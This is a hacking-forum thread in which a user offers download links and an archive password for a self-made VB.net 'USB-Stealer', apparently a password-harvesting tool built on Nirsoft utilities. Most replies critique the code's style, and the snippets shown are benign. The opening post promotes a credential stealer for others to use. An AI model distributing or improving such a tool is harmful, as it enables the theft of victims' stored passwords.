[Olus]

Hey guys ✌
I've made a reload of the basic USB-Stealer in VB.net, and this is password-protected ( The pass is "hackforums")

Here is the virus scan : http://virusscan.jotti.org/fr/scanresult...c5c577e76b

Here is the source : https://hostr.co/M6sgexr23Xdu

Here is the release : https://hostr.co/m79I19D8fxhL

I'm the author of this tool, but not of the tools of "Nirsoft", please don't be so mad :p

(Sorry for my english, I'm french an 14 🤐 )

[img]http://img4.hostingpics.net/pics/747006Screenshot1.png[/img]
[img]http://img4.hostingpics.net/pics/821057Screenshot2.png[/img]

I can make upgrades, just ask for it :p

[Cisteriaso]

Nice, thanks for sharing this, i might take a look at it later.

[TheBarret]

Dark blue font color on a dark grey background is not very readable.

And i see alote of problems in your source...

Define your variable properly (Strict on will hang you for this).

Code

Dim Sup '// <------ BAD
      Sup = MsgBox("Would you like to exit ?", vbCritical + vbYesNo + 256, "Project Kendo")
      If Sup = vbYes Then
      Me.Close()
      End If

For-Each can be done like:

Code

For Each Dpass as Process in Process.GetProcessesByName("Dialupass")
  '// your code...
Next

Ofc the compiler will accept it, but this ain't a pretty sight...

Code

Dim Dialupass1 As Process() = Process.GetProcessesByName("Dialupass")
      Dim Dialupass2 As Process
      For Each Dialupass2 In Dialupass1
      Dialupass2.Kill()
      Next Dialupass2

Handle values are usually Pointers (IntPtr), as well that you used Ctype, your better using
DirectCast, since we "know" what type value this is.

Code

Public ReadOnly Property Handle As IntPtr

Code

CType(p.MainWindowHandle, Integer)

There few empty methods, why?

Code

Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click

End Sub

Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click

End Sub

You did not handle the Exceptions anywhere in this project, andhtus you assume that everything is done properly...wich is not.
Always seek for possible errors and trap them with the Try Catch traps.

My conclusion, bad coding.

- Barret

[Yui Asuna]

Dark blue font color on a dark grey background is not very readable.

And i see alote of problems in your source...

Define your variable properly (Strict on will hang you for this).

Code

Dim Sup '// <------ BAD
      Sup = MsgBox("Would you like to exit ?", vbCritical + vbYesNo + 256, "Project Kendo")
      If Sup = vbYes Then
      Me.Close()
      End If

For-Each can be done like:

Code

For Each Dpass as Process in Process.GetProcessesByName("Dialupass")
  '// your code...
Next

Ofc the compiler will accept it, but this ain't a pretty sight...

Code

Dim Dialupass1 As Process() = Process.GetProcessesByName("Dialupass")
      Dim Dialupass2 As Process
      For Each Dialupass2 In Dialupass1
      Dialupass2.Kill()
      Next Dialupass2

Handle values are usually Pointers (IntPtr), as well that you used Ctype, your better using
DirectCast, since we "know" what type value this is.

Code

Public ReadOnly Property Handle As IntPtr

Code

CType(p.MainWindowHandle, Integer)

There few empty methods, why?

Code

Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click

End Sub

Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click

End Sub

You did not handle the Exceptions anywhere in this project, andhtus you assume that everything is done properly...wich is not.
Always seek for possible errors and trap them with the Try Catch traps.

My conclusion, bad coding.

- Barret

Barret pls, you forgot the MsgBox() !
Why is the Handle declared at Public Property ? I didn't look at the whole source, but I'm pretty sure that's not correct in this case, and should be Private.

The empty methods also show that you didn't name your controls correctly, which is a very bad habit, and makes Yui sad ;c

[TheBarret]

No that was a c&p from msdn how Forms.controls have the handle defined as IntPtr.

[Olus]

I just wanted to share something, I would not do again

[TheBarret]

I just wanted to share something, I would not do again

idc what you do, but if you share something at least make sure its "decent" and not this ...heck i can't even call that a project.
i get it when you tell me, im still learning but look for assistance from anybody that knows his stuff, to just look it over and he will correct the big parts for ya.

[$lick]

There few empty methods, why?

Code

Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click

End Sub

Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click

End Sub

I'm guilty.

Not removing empty methods and never removing commented code in case I ever need it are two of my many flaws.

[Magician.]

What this USB Stealer does an idea ?

[$lick]

What this USB Stealer does an idea ?

Yes the USB an idea what stealer yes maybe, thanks.

[Olus]

Our usernames are very similar... lol.

Lool :p ✌
( toooooo shoooooort)

[warn]